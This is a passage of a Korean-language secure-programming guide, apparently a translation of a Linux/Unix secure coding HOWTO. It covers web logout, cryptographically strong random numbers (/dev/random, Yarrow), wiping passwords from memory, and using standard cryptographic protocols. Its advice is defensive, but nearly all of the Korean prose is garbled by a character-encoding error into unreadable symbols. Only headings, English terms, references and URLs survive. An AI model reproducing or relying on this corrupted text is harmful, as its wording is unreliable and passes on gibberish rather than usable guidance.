ÀÎÁõÀ» º¸ÀåÇÏÁö ¾ÊÁö¸¸ º¯Á¶¸¦ ´õ¿í ½±°Ô ŽÁöÇÒ ¼ö ÀÖ°Ô Çϸç ÀϹÝÀûÀÎ ¶óÀ̺귯¸®´Â TLS/SSL ¿¬°á¿¡¼­ ¾Ïȣȭ¿Í ÀÎÁõ ¸ðµÎ¸¦ Áö¿øÇÒ ¼ö ÀÖ´Ù. ÀϹÝÀûÀ¸·Î ¸Þ½ÃÁö¸¦ ¾ÏȣȭÇÑ´Ù¸é ¶ÇÇÑ À̸¦ ÀÎÁõÇØ¾ß ÇÑ´Ù. ÇÊ¿äÇÑ °ÍÀÌ ´Ù¸£´Ù¸é ÇѰ¡Áö ´ë¾ÈÀº µÎ°³ÀÇ ÀÎÁõ ÅäÅ«À» »ý¼ºÇÏ´Â °ÍÀÌ´Ù - ÇѰ³´Â Áß¿äÇÑ ÀÛ¾÷À» À§ÇØ ``º¸¾ÈÀûÀÎ" ¿¬°á¿¡¸¸ »ç¿ëµÇ°í ¹Ý¸é ´Ù¸¥ ÇѰ³´Â ´ú Áß¿äÇÑ ÀÛ¾÷¿¡ »ç¿ëµÈ´Ù. ´ÜÁö º¸¾ÈÀûÀÎ ¿¬°á (ÀϹÝÀûÀ¸·Î ¾ÏȣȭµÈ SSL/TLS ¿¬°á) µé¸¸ÀÌ »ç¿ëµÇµµ·Ï ``º¸¾ÈÀûÀÎ" ¿¬°á¿¡ »ç¿ëµÇ´Â ÅäÅ«Àº ¹Ýµå½Ã Ç¥½Ã¸¦ ÇØ¶ó. »ç¿ëÀÚµéÀÌ ½ÇÁ¦·Î ´Ù¸£Áö ¾Ê´Ù¸é ÀÎÁõ ÅäÅ«Àº ``data" ¸¦ ÀüÀûÀ¸·Î »ý·«ÇÒ ¼ö ÀÖ´Ù.

ÀÌ ÀÎÁõ ÅäÅ«À» °®´Â ÆäÀÌÁöµéÀÌ ¹Ýµå½Ã ij½ÃµÇÁö ¾Êµµ·Ï ÇØ¶ó. ¶ÇÇÑ ´Ù¸¥ Àû´çÇÑ ½ºÅ´µµ ¶ÇÇÑ ÀÖ´Ù; ¿©±â¼­ÀÇ ¸ñÀûÀº Àû¾îµµ ÇѰ¡Áö º¸¾ÈÀûÀÎ ÇØ°á ¹æ¹ýÀ» Á¦°øÇÏ´Â µ¥ ÀÖÀ¸¸ç ¸¹Àº º¯ÇüµÈ ¹æ¹ýµéµµ °¡´ÉÇÏ´Ù.


10.2.3. À¥¿¡¼­ ÀÎÁõ: ·Î±×¾Æ¿ô

»ç¿ëÀÚ¿¡°Ô ``·Î±× ¾Æ¿ô" ÇÒ ¼ö ÀÖ´Â ¸ÞÄ«´ÏÁòÀ» ´Ã Á¦°øÇØ¾ß ÇÑ´Ù - ÀÌ´Â µµ¼­°ü¿¡¼­¿Í °°ÀÌ ¸¹Àº »ç¶÷µéÀÌ ºê¶ó¿ìÀú¸¦ °øÀ¯Çؼ­ »ç¿ëÇÏ´Â °æ¿ì ƯÈ÷ À¯¿ëÇÏ´Ù. ``logout" ·çƾÀÌ ÇÏ´Â ÀÏÀº °£´ÜÇÏ´Ù - Ŭ¶óÀ̾ðÆ®ÀÇ ÀÎÁõ ÅäÅ«À» ´ÜÁö ¼³Á¤ÇØÁ¦ÇÏ´Â °ÍÀÌ´Ù.


10.3. ³­¼ö

¸¹Àº °æ¿ì º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥µéÀº ÀûÀÌ ÃßÃøÇÒ ¼ö ¾ø´Â ÀÓÀÇÀÇ ¼ýÀÚ (³­¼ö) ¸¦ »ý¼ºÇØ¾ß Çϴµ¥ ¿¹·Î´Â ¸¹Àº ÇÁ·ÎÅäÄÝ, salt µî¿¡ »ç¿ëµÇ´Â ¼¼¼ÇŰ, °ø°³ ¶Ç´Â ºñ¹ÐŰ, ´ëĪŰ, nonces ¿Í IV µéÀÌ ÀÖ´Ù. ÀÌ·Ð»ó ³­¼ö·Î´Â ¹æ»ç¼± ¼Ò¸ê (°¡À̰Šī¿îÅÍ Å¬¸¯ÀÇ Á¤È®ÇÑ °è½Ã¸¦ ÅëÇØ), ´ë±â ¼ÒÀ½ ¶Ç´Â Àü¼±¿¡¼­ÀÇ ¿­ ¼ÒÀ½¿¡ ±âÃÊÇÑ °ªµé°ú °°Àº ½ÇÁ¦ ¹«ÀÛÀ§·Î ¾ò¾îÁø µ¥ÀÌŸ¸¦ »ç¿ëÇØ¾ß ÇÑ´Ù. ¾î¶² ÄÄÇ»ÅÍ´Â ½ÇÁ¦ ÀÓÀÇÀÇ (random) °ªÀ» »ý¼ºÇÏ´Â ¿ªÇÒÀ» ÇÏ´Â Çϵå¿þ¾î ÄÄÆ÷³ÍÆ®¸¦ °®°í Àִµ¥ °¡´ÉÇÏ´Ù¸é À̸¦ »ç¿ëÇØ¾ß ÇÑ´Ù.

±×·¯³ª ´ëºÎºÐÀÇ ÄÄÇ»Å͵éÀº ½ÇÁ¦ ÀÓÀÇÀÇ °ªµéÀ» »ý¼ºÇÏ´Â Çϵå¿þ¾î¸¦ °®°í ÀÖÁö ¾ÊÀ¸¸ç µû¶ó¼­ ´ëºÎºÐÀÇ °æ¿ì ÀûÀÌ ¿¹ÃøÇÒ ¼ö ¾øÀ» ¸¸Å­ ÃæºÐÈ÷ ÀÓÀÇÀûÀÎ ³­¼ö¸¦ »ý¼ºÇÒ ¹æ¹ýÀÌ ÇÊ¿äÇÏ´Ù. ÀϹÝÀûÀ¸·Î ÀÌ´Â ´ÙÀ½ ¼¼°¡Áö¸¦ ÇÊ¿ä·Î ÇÔÀ» ÀǹÌÇÑ´Ù:

  • "¿¹Ãø ºÒ°¡´É" »óÅÂ; ÀϹÝÀûÀ¸·Î ÀÌ´Â ÀûÀÌ Á¦¾îÇÒ ¼ö ¾ø´Â ¹æ½ÄÀ¸·Î Ű½ºÆ®·ÎÅ©, µð½ºÅ© µå¶óÀÌºê ¾Ï ÁöÅÍ (arm jitter) µî°ú °°Àº ÇÏÀ§ ¼öÁØ µð¹ÙÀ̽ºÀÇ Å¸À̹ÖÀÇ º¯µ¿À» ÃøÁ¤ÇÔÀ¸·Î½á ÇàÇØÁø´Ù.

  • ³­¼ö¸¦ »ý¼ºÇϱâ À§ÇØ »óŸ¦ »ç¿ëÇÏ´Â ¾ÏÈ£ÇÐÀûÀ¸·Î °­·ÂÇÑ ÁØ-³­¼ö ¹ß»ý±â (pseudo-randum number generator, PRNG).

  • Á¾ÀÚ (seed) ¿Í »ç¿ëµÈ °á°ú °ª ¸ðµÎ¿¡ ÀÖ¾î ¸¹Àº ¼öÀÇ ºñÆ®. ´ÜÁö ¾à°£ÀÇ °¡´ÉÇÑ °ªµéÀ» °®°í ÀÖ´Ù¸é °ø°ÝÀÚ°¡ brute force °ø°ÝÀ» »ç¿ëÇÏ´Â °ÍÀ» ½±°Ô Çϱ⠶§¹®¿¡ °­·ÂÇÑ PRNG ¸¦ °®°í ÀÖ´õ¶óµµ ¾µ¸ð¾ø´Ù. ÇÊ¿äÇÑ ºñÆ®ÀÇ ¼ö´Â »óȲ¿¡ µû¶ó º¯Çϴµ¥ À̵éÀÌ ´ë°³ ¾Ïȣȭ Ű·Î »ç¿ëµÇ±â ¶§¹®¿¡ Ű¿¡ ´ëÇØ º¸Åë °æÇè¿¡ ÀÇÇÑ ¹æ¹ýÀÌ Àû¿ëµÈ´Ù. ´ëĪŰ (°á°ú) ÀÇ °æ¿ì ÀúÀÚ´Â Àû¾îµµ 112 ºñÆ® (3DES) ¸¦ »ç¿ëÇϴµ¥ 128 ºñÆ®´Â ´õ¿í ÁÁÀ¸¸ç 160 ºñÆ® ÀÌ»óÀº ´õ¿í ´õ ¾ÈÀüÇÏ´Ù.

ÀϹÝÀûÀ¸·Î PRNG ´Â »óŸ¦ »ç¿ëÇØ ¾î¶² °ªµéÀ» »ý¼ºÇÑ ÈÄ ÀÌ °ªµéÁßÀÇ ÀÏºÎ¿Í ´Ù¸¥ ÃßÃøÇÒ ¼ö ¾ø´Â ÀÔ·ÂÀ» ÀÌ¿ëÇØ »óŸ¦ °»½ÅÇÑ´Ù. ÀÌ·¯ÇÑ ½Ã½ºÅÛµéÀ» °ø°ÝÇÏ´Â ¸¹Àº ¹æ¹ýµéÀÌ Àִµ¥ ¿¹¸¦ µé¾î °ø°ÝÀÚ°¡ »óÅ¿¡ ´ëÇÑ ÀԷµé (¶Ç´Â À̵é ÁßÀÇ ÀϺÎ) À» Á¦¾îÇϰųª º¼ ¼ö ÀÖ´Ù¸é °ø°ÝÀÚ´Â ¾Æ¸¶ ³­¼ö¸¦ °áÁ¤ÇÒ ¼ö ÀÖÀ» ¼öµµ ÀÖ´Ù.

PRNGs ¸¦ »ç¿ëÇϴµ¥ ÀÖ¾î ÁøÂ¥ À§ÇèÇÑ °ÍÀº ´ëºÎºÐÀÇ ÄÄÇ»ÅÍ ¾ð¾î ¶óÀ̺귯¸®µéÀÌ º¸¾È ¸ñÀû¿¡ ºÎÀûÀýÇÑ ¸¹Àº PRNG ¸¦ Æ÷ÇÔÇϰí ÀÖ´Ù´Â °ÍÀÌ´Ù. ´Ù½Ã Çѹø ¸»ÇÏÀÚ: º¸¾ÈÀ» ¸ñÀûÀ¸·Î ÇÒ ¶§ ÀϹÝÀûÀÎ ³­¼ö ¹ß»ý±â¸¦ »ç¿ëÇÏÁö ¸¶¶ó. ÀϹÝÀûÀ¸·Î ¶óÀ̺귯¸® PRNG ´Â ¸ð»ç, °ÔÀÓ µî¿¡ »ç¿ëÇϱâ À§ÇÑ °ÍÀε¥ À̵éÀº Ű »ý¼º°ú °°Àº º¸¾È ÇÔ¼öµé¿¡ »ç¿ëÇÒ ¼ö ÀÖÀ» Á¤µµ·Î ÃæºÐÈ÷ ÀÓÀÇÀûÀÌÁö ¾Ê´Ù. ´ëºÎºÐÀÇ ºñ¾Ïȣȭ ¶óÀ̺귯¸® PRNG ´Â ¼±Çü ÇÕµ¿ ¹ß»ý±â (linear congruential generator) À» ¾à°£ º¯Çü½ÃŲ °ÍÀ¸·Î ``´ÙÀ½" ÀÓÀÇÀÇ °ªÀÌ (aX+b))mod)m À¸·Î °è»êµÈ´Ù (X ´Â ÀÌÀü °ªÀÌ´Ù). ÈǸ¢ÇÑ ¼±Çü ÇÕµ¿ ¹ß»ý±â´Â ºü¸£¸ç À¯¿ëÇÑ Åë°èÀûÀÎ ¼ºÁúÀ» °®°í ÀÖ¾î ÀǵµÇÑ »ç¿ë ¸ñÀû¿¡ ÀûÀýÇÏ´Ù. ÀÌ·¯ÇÑ PRNG ¿Í °ü°èµÈ ¹®Á¦´Â Â÷ÈÄÀÇ °ªÀÌ ÀÓÀÇÀÇ °ªÀ¸·Î º¸ÀÓ¿¡µµ ºÒ±¸ÇÏ°í °ø°ÝÀÚ¿¡ ÀÇÇØ ½±°Ô ÃßÁ¤µÉ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ÀÌÂ÷ (quadratic) ¹× »ïÂ÷ (cubic) ¹ß»ý±â¿Í °°ÀÌ ºü¸£°Ô ³­¼ö¸¦ »ý¼ºÇÏ´Â ´Ù¸¥ ¾Ë°í¸®µëµéµµ ÇØµ¶µÇ¾ú´Ù [Schneier 1996]. ¿ä¾àÇÏ¸é º¸¾ÈÀûÀÎ ¾ÖÇø®ÄÉÀ̼ǿ¡¼­ ³­¼ö¸¦ »ý¼ºÇϱâ À§Çؼ­´Â ¾ÏÈ£ÇÐÀûÀ¸·Î °­·ÂÇÑ PRNG ¸¦ »ç¿ëÇØ¾ß ÇÑ´Ù´Â °ÍÀÌ´Ù - º¸ÅëÀÇ ³­¼ö ¶óÀ̺귯¸®µéÀº ÃæºÐÇÏÁö ¾Ê´Ù.

Ű¿¡ ´ëÇØ ½ÇÁ¦·Î ÀÓÀÇÀÇ °ªµéÀ» Á¤È®È÷ »ý¼ºÇÏÁö ¸øÇÔÀ¸·Î½á Kerberos, X À©µµ¿ì ½Ã½ºÅÛ°ú NFS ½Ã½ºÅÛ¿¡¼­ÀÇ º¸¾È ±¸¸ÛÀ» Æ÷ÇÔÇÏ¿© ¸¹Àº ¹®Á¦¸¦ ¾ß±âÇÏ¿´´Ù [Venema 1996].

°¡´ÉÇÏ´Ù¸é ¾ÏÈ£ÇÐÀûÀ¸·Î º¸¾ÈÀûÀÎ ÀÓÀÇÀÇ °ªµéÀ» »ý¼ºÇϵµ·Ï Ưº°È÷ ¼³°èµÈ ÀϹÝÀûÀ¸·Î ¿î¿µÃ¼Á¦¿¡¼­ Á¦°øÇÏ´Â ½Ã½ºÅÛ ¼­ºñ½º¸¦ »ç¿ëÇØ¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î ¸®´ª½º Ä¿³Î (1.3.30 ÀÌÈÄ) Àº ³­¼ö ¹ß»ý±â¸¦ Æ÷ÇÔÇϰí Àִµ¥ ÀÌ´Â º¸¾ÈÀ» ¸ñÀûÀ¸·Î ÇÑ ¸¹Àº °÷¿¡ ÃæºÐÇÏ´Ù. ÀÌ ³­¼ö ¹ß»ý±â´Â µð¹ÙÀ̽º µå¶óÀ̹ö¿Í ´Ù¸¥ Ãâó·ÎºÎÅÍÀÇ È¯°æ ³ëÀÌÁ ¿£Æ®·ÎÇÇ Ç®·Î ¸ðÀ¸´Âµ¥ /dev/random À¸·Î Á¢±ÙµÉ ¶§ ÀÓÀÇÀÇ ¹ÙÀÌÆ®µé¸¸ÀÌ ¿£Æ®·ÎÇÇ Ç®¿¡¼­ Æò°¡µÈ ³ëÀÌÁî ºñÆ®¼ö ³»¿¡¼­ ¹ÝȯµÈ´Ù (¿£Æ®·ÎÇÇ Ç®ÀÌ ºñ¾îÀÖÀ» ¶§ È£ÃâÀº Ãß°¡ÀûÀΠȯ°æ ³ëÀÌÁî°¡ ¸ð¿©Áú ¶§±îÁö ºí·ÏµÈ´Ù). /dev/urandom À¸·Î Á¢±ÙµÉ ¶§´Â ¿£Æ®·ÎÇÇ Ç®ÀÌ ´Ù °í°¥µÇ¾ú´Ù ÇÏ´õ¶óµµ ¿äûµÈ ¸¸Å­ÀÇ ¹ÙÀÌÆ®µéÀÌ ¹ÝȯµÈ´Ù. ¸®´ª½º¿¡¼­ Ű »ý¼º°ú °°Àº ¾Ïȣȭ ¸ñÀûÀ¸·Î ÀÓÀÇÀÇ °ªµéÀ» »ç¿ëÇÏ·Á¸é /dev/random À» »ç¿ëÇØ¶ó. Çϵå¿þ¾î ³­¼ö ¹ß»ý±â¸¦ »ç¿ëÇÒ ¼ö ÀÖ°í ±× µå¶óÀ̹ö°¡ ¼³Ä¡µÇ¾î ÀÖ´Ù¸é À̰ÍÀÌ ´ë½Å »ç¿ëµÉ °ÍÀÓÀ» ÁÖ¸ñÇØ¶ó. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â ½Ã½ºÅÛ ¹®¼­ random(4) ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù.

´Ù¸¥ ½Ã½ºÅÛ¿¡¼­´Â Á¤¸»·Î ÀÓÀÇÀûÀÎ °á°ú¸¦ ¾ò´Â ´Ù¸¥ ¹æ¹ýÀ¸ ã¾Æ¾ß ÇÒ °ÍÀÌ´Ù. ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡ ´ëÇØ¼­´Â Entropy Gathering Daemon (EGD) °¡ ÇѰ¡Áö ¹æ¹ýÀ¸·Î ÀÌ´Â ½Ã½ºÅÛ È°µ¿À» °¨½ÃÇØ À̸¦ ÀÓÀÇÀûÀ¸·Î °ªÀ¸·Î ÇØ½ÃÇÑ´Ù; ÀÌ´Â http://www.lothar.com/tech/crypto ¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. PRNG Ãâ·Â¿¡ ¾Ïȣȭ ÇØ½Ã ÇÔ¼ö (¿¹, SHA-1) ÀÇ »ç¿ëÀ» °í·ÁÇÒ ¼öµµ Àִµ¥ ÇØ½Ã ¾Ë°í¸®µëÀ» »ç¿ëÇÔÀ¸·Î½á PRNG °¡ ¿¹Ãø°¡´ÉÇÏ´Ù°í ÆÇ¸íµÇ¾úÀ½¿¡µµ ºÒ±¸Çϰí ÀÌ´Â °ø°ÝÀÚ°¡ ¶ÇÇÑ ÇØ½Ã ÇÔ¼öµµ ÇØµ¶ÇØ¾ß ÇÑ´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù.

°­·ÂÇÑ PRNG ¸¦ ½º½º·Î ±¸ÇöÇØ¾ß ÇÑ´Ù¸é ¾ÏÈ£ÇÐÀûÀ¸·Î °­·ÂÇÏ¸ç Æ¯Çã¿¡ ¾ô¸ÅÀÌÁö ¾ÊÀº PRNG ÀÇ ÁÁÀº ¼±ÅÃÀº Yarrow ¾Ë°í¸®µëÀ¸·Î http://www.counterpane.com/yarrow.html. ¿¡¼­ Yarrow ¿¡ ´ëÇØ ´õ¿í ÀÚ¼¼È÷ ¾Ë ¼ö ÀÖ´Ù. ¾à°£ÀÇ ´Ù¸¥ PRNG µµ À¯¿ëÇÒ ¼ö ÀÖÁö¸¸ ³Î¸® »ç¿ëµÇ°í ÀÖ´Â ¸¹Àº PRNG Àº ¾ÖÇø®ÄÉÀ̼ǿ¡ µû¶ó Áß¿äÇϰųª ±×·¸Áö ¾ÊÀ» ¼öµµ ÀÖ´Â ¾Ë·ÁÁø ¾àÁ¡À» °®°í ÀÖ´Ù. PRNG ¸¦ ½º½º·Î ±¸ÇöÇϱâ Àü¿¡ [Kersey 1998] °ú McGraw [2000a] ¿Í °°Àº ¹®ÇåÀ» ÂüÁ¶Çضó. ¶ÇÇÑIETF RFC 1750 µµ Á¶»çÇØ¾ß ÇÑ´Ù.


10.4. »ç¿ëÀÚ°¡ ±â¾ïÇÏ´Â ºñ¹Ð (ÆÐ½º¿öµå ¹× Ű) À» ƯÈ÷ º¸È£Çضó

¾ÖÇø®ÄÉÀ̼ÇÀÌ ÆÐ½º¿öµå ¶Ç´Â ºñ°ø°³ Ű (¼¼¼ÇŰ, °³ÀÎŰ, ºñ¹ÐŰ µî) ¸¦ ´Ù·ï¾ß ÇÑ´Ù¸é À̵éÀÌ ÃÖ¼ÒÇÑÀ¸·Î ³ëÃâµÇµµ·Ï »ç¿ëÇÑ ÈÄ Áï°¢ÀûÀ¸·Î °ãÃĽá¶ó. ¿¹¸¦ µé¾î ÀÚ¹Ù¿¡¼­ ÆÐ½º¿öµå¸¦ ÀúÀåÇϱâ À§ÇØ ¹®ÀÚ¿­ (Sting) ŸÀÔÀ» »ç¿ëÇÏÁö ¸¶¶ó À̵éÀº ºÒº¯ (immutable) À̱⠶§¹®¿¡ °¡ºñÁö ¼öÁý (garbage collection) ¹× Àç»ç¿ëµÇ±â±îÁö ¾Æ¸¶µµ Â÷ÈÄ ¾î´À Á¤µµ ½Ã°£±îÁö´Â °ãÃĽáÁöÁö ¾ÊÀ» °ÍÀÌ´Ù. ´ë½Å ÀÚ¹Ù¿¡¼­´Â ÆÐ½º¿öµå°¡ Áï½Ã °ãÃĽáÁú ¼ö ÀÖµµ·Ï À̸¦ ÀúÀåÇϱâ À§ÇØ char[] À» »ç¿ëÇØ¶ó.

¶ÇÇÑ ÇÁ·Î±×·¥ÀÌ ±×·¯ÇÑ ºñ¹Ð °ªµéÀ» ´Ù·é´Ù¸é ulimit ¸¦ ÅëÇØ ¹Ýµå½Ã ÄÚ¾î ´ýÇÁ »ý¼ºÀ» ±ÝÁöÇØ¶ó. ±×·¸Áö ¾ÊÀ¸¸é °ø°ÝÀÚ°¡ ÇÁ·Î±×·¥À» Á¤Áö½ÃÄÑ µ¥ÀÌŸ ´ýÇÁ¿¡¼­ ºñ¹Ð °ªÀ» ¹ß°ßÇÒ ¼ö ÀÖÀ»Áö ¸ð¸¥´Ù. ¶ÇÇÑ ÁÖÀÇÇØ¶ó - ÀϹÝÀûÀ¸·Î ÇÁ·Î¼¼½ºµéÀº µð¹ö°Å (¿¹, ptrace(2) ¹× /proc ÁØ-ÆÄÀϽýºÅÛÀ» ÅëÇØ) È£ÃâÀ» ÅëÇØ ´Ù¸¥ ÇÁ·Î¼¼½ºµéÀ» ¸ð´ÏÅ͸µ ÇÒ ¼ö ÀÖ´Ù [Venema 1996]. Ä¿³ÎÀº ÇÁ·Î¼¼½º°¡ setuid ¶Ç´Â setgid ¶ó¸é ÀÌ·¯ÇÑ ¸ð´ÏÅ͸µ¿¡ ´ëÇØ º¸Åë º¸È£¸¦ ÇÑ´Ù (ÀÌ·¯ÇÑ º¸È£¸¦ ÇÏÁö ¾Ê´Â ¾à°£ÀÇ ¿À·¡µÈ ½Ã½ºÅÛ¿¡¼­´Â ½ÇÁ¦·Î °»½ÅÀ̿ܿ¡´Â º¸È£ÇÒ ¹æ¹ýÀÌ ¾ø´Ù). µû¶ó¼­ ÇÁ·Î¼¼½º°¡ ºñ¹Ð °ªµéÀ» °ü¸®ÇÑ´Ù¸é ÀÌ·¯ÇÑ Á¾·ùÀÇ ¸ð´ÏÅ͸µÀ» °­Á¦ÀûÀ¸·Î ±ÝÁöÇϱâ À§ÇØ À̸¦ ´Ù¸¥ ±ÇÇÑÀÌ ¾ø´Â ±×·ì ¶Ç´Â »ç¿ëÀÚ¿¡ ´ëÇØ setuid ¶Ç´Â setgid ·Î ¸¸µé¾î¾ß ÇÑ´Ù.


10.5. ¾Ïȣȭ ¾Ë°í¸®µë ¹× ÇÁ·ÎÅäÄÝ

´ë°³ ¾Ïȣȭ ¾Ë°í¸®µë°ú ÇÁ·ÎÅäÄÝÀº ½Ã½ºÅÛÀ» ¾ÈÀüÇÏ°Ô Çϱâ À§ÇØ Æ¯È÷ ÀÎÅͳݰú °°Àº ½Å·ÚµÇÁö ¾ÊÀº ³×Æ®¿öÅ©¸¦ ÅëÇØ Åë½ÅÇÒ ¶§ ÇÊ¿äÇÏ´Ù. °¡´ÉÇÑ Á¤º¸¸¦ ÀÎÁõÇϰí Á¤º¸¸¦ ºñ¹Ð·Î À¯ÁöÇϱâ À§ÇØ ¾ÏÈ£ÇÐÀûÀÎ ±â¹ýÀ» »ç¿ëÇØ¶ó (´Ü¼øÇÑ ¾Ïȣȭ°¡ ¶ÇÇÑ ÀÚµ¿ÀûÀ¸·Î ÀÎÁõÇÒ ¼ö ÀÖ´Ù°í °¡Á¤ÇÏÁö ¸¶¶ó). ÀϹÝÀûÀ¸·Î ¾ÖÇø®ÄÉÀ̼ÇÀ» ¾ÈÀüÇÏ°Ô Çϱâ À§ÇØ »ç¿ë°¡´ÉÇÑ µµ±¸¸¦ »ç¿ëÇÒ Çʿ䰡 ÀÖ´Ù.

¹è°æ Á¤º¸¿Í Äڵ忡 ´ëÇØ¼­´Â ¾Æ¸¶µµ °íÀüÀûÀÎ ÅØ½ºÆ® ``Applied Cryptography" [Schneier 1996] ¸¦ ºÁ¾ß ÇÑ´Ù. ´º½º±×·ì ``sci.crypt" ¿¡´Â ÀÏ·ÃÀÇ FAQ ÀÌ Àִµ¥ http://www.landfiel d.com/faqs/cryptography-faq À» Æ÷ÇÔÇÑ ¸¹Àº À§Ä¡¿¡¼­ À̵éÀ» ãÀ» ¼ö ÀÖ´Ù. ¸®´ª½º¿¡ ƯÁ¤ÀûÀÎ ÀÚ¿øµéÀº http://marc.mutz.com/Encryption-HOWTO/¿¡ ÀÖ´Â Linux Encryption HOWTO ¸¦ Æ÷ÇÔÇÑ´Ù. ÇÁ·ÎÅäÄÝÀÌ ±âº»ÀûÀÎ ¾Ë°í¸®µëÀ» »ç¿ëÇÏ´Â ¹æ¹ý¿¡ °üÇÑ ³íÀÇ´Â [Opplinger 1998] ¿¡¼­ ãÀ» ¼ö ÀÖ´Ù. ÇÁ·ÎÅäÄÝ¿¡¼­ ¾ÏÈ£ÇÐÀ» Àû¿ëÇÏ´Â ¹æ¹ý¿¡ °üÇÑ À¯¿ëÇÑ ³í¹® ¸ðÀ½Àº [Stallings 1996] ¿¡¼­ ãÀ» ¼ö ÀÖ´Ù. ´ÙÀ½Àº ´ÜÁö ¾à°£ÀÇ ¼³¸í¹®À¸·Î ÀÌ ºÐ¾ß´Â »ó´çÈ÷ Àü¹®È­µÇ¾î ÀÖÀ¸¸ç ´Ù¸¥ °÷¿¡¼­ ´õ¿í öÀúÈ÷ ´Ù·ïÁö°í ÀÖ´Ù.

¾Ïȣȭ ÇÁ·ÎÅäÄݰú ¾Ë°í¸®µëÀ» ¿Ã¹Ù¸£°Ô ÀÌÇØÇϱâ´Â ¾î·Æ´Ù. µû¶ó¼­ °¢ÀÚ ½º½º·Î À̵éÀ» ¸¸µéÁö ¸¶¶ó. ´ë½Å µÉ ¼ö ÀÖ´ÂÇÑ ³Î¸® »ç¿ëµÇ°í ÀÖ°í ±íÈ÷ ºÐ¼®µÇ¾úÀ¸¸ç º¸¾ÈÀûÀ̶ó°í ¹Þ¾Æµé¿©Áø ÇÁ·ÎÅäÄݰú ¾Ë°í¸®µëÀ» »ç¿ëÇØ¶ó. À̵éÀ» ¸¸µé¾î¾ß ÇÑ´Ù¸é Æø³ÐÀº °ø°³ °ËÅ並 ÇÏ°í ¹Ýµå½Ã Àü¹®ÀûÀÎ º¸¾È ºÐ¼®°¡µéÀÌ ¹®Á¦°¡ ÀÖ´ÂÁö À̵éÀ» °Ë»çÇϵµ·Ï ÇØ¶ó. ƯÈ÷ ¾ÏÈ£ÇÐ Àü¹®°¡°¡ ¾Æ´Ï°í ¹«¾ùÀ» Çϰí ÀÖ´ÂÁö ¸ð¸£¸ç ¾Ë°í¸®µëÀ» Àü¹®ÀûÀ¸·Î °ËÅäÇϴµ¥ ½Ã°£À» ÅõÀÚÇÒ °èȹÀÌ ¾ø´Ù¸é ÀÚ½ÅÀÇ ¾Ïȣȭ ¾Ë°í¸®µëÀ» ¸¸µéÁö ¸¶¶ó. ¾Ïȣȭ ¾Ë°í¸®µë ÀÛ¼ºÀº Àü¹®°¡µé¸¸ÀÇ ÀÛ¾÷ÀÌ´Ù.

¸¹Àº ¾Ë°í¸®µëÀº ƯÇãÈ­µÇ¾î ÀÖ¾î ¼ÒÀ¯ÀÚ°¡ ÇöÀç ``ÀÚÀ¯·Î¿î »ç¿ë"À» Çã¿ëÇÑ´Ù ÇÏ´õ¶óµµ ¼­¸íµÈ °è¾àÀÌ ¾ø´Ù¸é ÃßÈÄ¿¡ ÀÌ Á¤Ã¥À» ´Ã º¯°æÇÒ ¼ö ÀÖÀ¸¸ç µû¶ó¼­ ÃßÈÄ ¿©·¯ºÐÀ» ±ØÈ÷ À§ÇèÇÑ »óȲ¿¡ ³õÀÌ°Ô ÇÑ´Ù. ÀϹÝÀûÀ¸·Î ¸ðµç ƯÇãÈ­µÈ ¾Ë°í¸®µëÀ» ÇÇÇØ¶ó - °ÅÀÇ ¸ðµç °æ¿ì¿¡ ÀÖ¾î ÃÖ¼ÒÇÑ Æ¯ÇãÈ­µÈ ¾Ë°í¸®µë¸¸Å­ ¿ì¼öÇϰųª ±â¼úÀûÀ¸·Î ´õ¿í ¿ì¼öÇÑ Æ¯ÇãÈ­µÇ¾î ÀÖÁö ¾ÊÀº Á¢±Ù ¹æ¹ýÀÌ ÀÖÀ¸¸ç À̸¦ »ç¿ëÇÔÀ¸·Î½á ¸¹Àº ¹ýÀûÀÎ ¹®Á¦¸¦ ÇÇÇÒ ¼ö ÀÖ´Ù.


10.5.1. ¾ÏÈ£ÇÐÀû ÇÁ·ÎÅäÄÝ

ÇÁ·ÎÅäÄÝÀÇ °æ¿ì SSL (°ð TLS °¡ µÈ´Ù), SSH, IPSec, GnuPG/PGP ¹× Kerberos ¿Í °°Àº Ç¥ÁØÀ» µû¸£´Â ÇÁ·ÎÅäÄÝÀ» »ç¿ëÇÏ·Á°í ÇØ¶ó. ÀÌµé ´Ù¼ö´Â ±â´É¼º¿¡¼­ ¾î¶µç Áߺ¹µÇÁö¸¸ °¢ÀÚ Æ¯¼öÇÑ ¿ëµµ (specialty niche) ¸¦ °®°í ÀÖ´Ù. SSL Àº http (À¥) Æ®·£Àè¼ÇÀ» º¸È£ÇÏ´Â ±âº»ÀûÀÎ ¹æ¹ýÀ̸ç PGP ¿Í GnuPG ¿¡ ±¸ÇöµÈ PGP ȣȯ ÇÁ·ÎÅäÄÝÀº À̸ÞÀÏ ¹ß¼ÛÀÎ/¼öÃëÀÎ (end to end) À» º¸È£ÇÏ´Â ±âº»ÀûÀÎ ¹æ¹ýÀÌ´Ù. Kerberos ´Â ·£»ó¿¡¼­ ÀÎÁõÀ» Áö¿øÇÏ°í ¾ÈÀüÇÏ°Ô ÇÏ¸ç °øÀ¯µÈ ºñ¹ÐÀ» ÀÔÁõÇÏ´Â ±âº»ÀûÀÎ ¹æ¹ýÀÌ´Ù (µû¶ó¼­ Åë½ÅÀ» ½ÇÁ¦ º¸È£Çϱâ À§ÇÑ ´Ù¸¥ ¾Ë°í¸®µë°ú ÇÔ²² »ç¿ëµÉ Çʿ䰡 ÀÖ´Ù). SSH ´Â CVS Á¢±Ù°ú °°Àº ´Ù¸¥ µ¥ÀÌŸ ½ºÆ®¸²À» ¾ÈÀüÇÏ°Ô Çϴµ¥µµ »ç¿ëµÇÁö¸¸ ÀÎÅͳÝÀ» ÅëÇÑ ``¿ø°Ý Å͹̳Î"À» ¾ÈÀüÇÏ°Ô ÇÏ´Â ±âº»ÀûÀÎ ¹æ¹ýÀÌ´Ù (¿¹, telnet °è¿­°ú X À©µµ¿ì ¿¬°á). SSH ÇÁ·ÎÅäÄÝ¿¡´Â µÎ°³ÀÇ ÁÖ¿ä ¹öÀüÀÌ ÀÖÀ¸¸ç ¸î°¡Áö Ű ŸÀÔÀ» ¼±ÅÃÇÒ ¼ö ÀÖÀ½À» 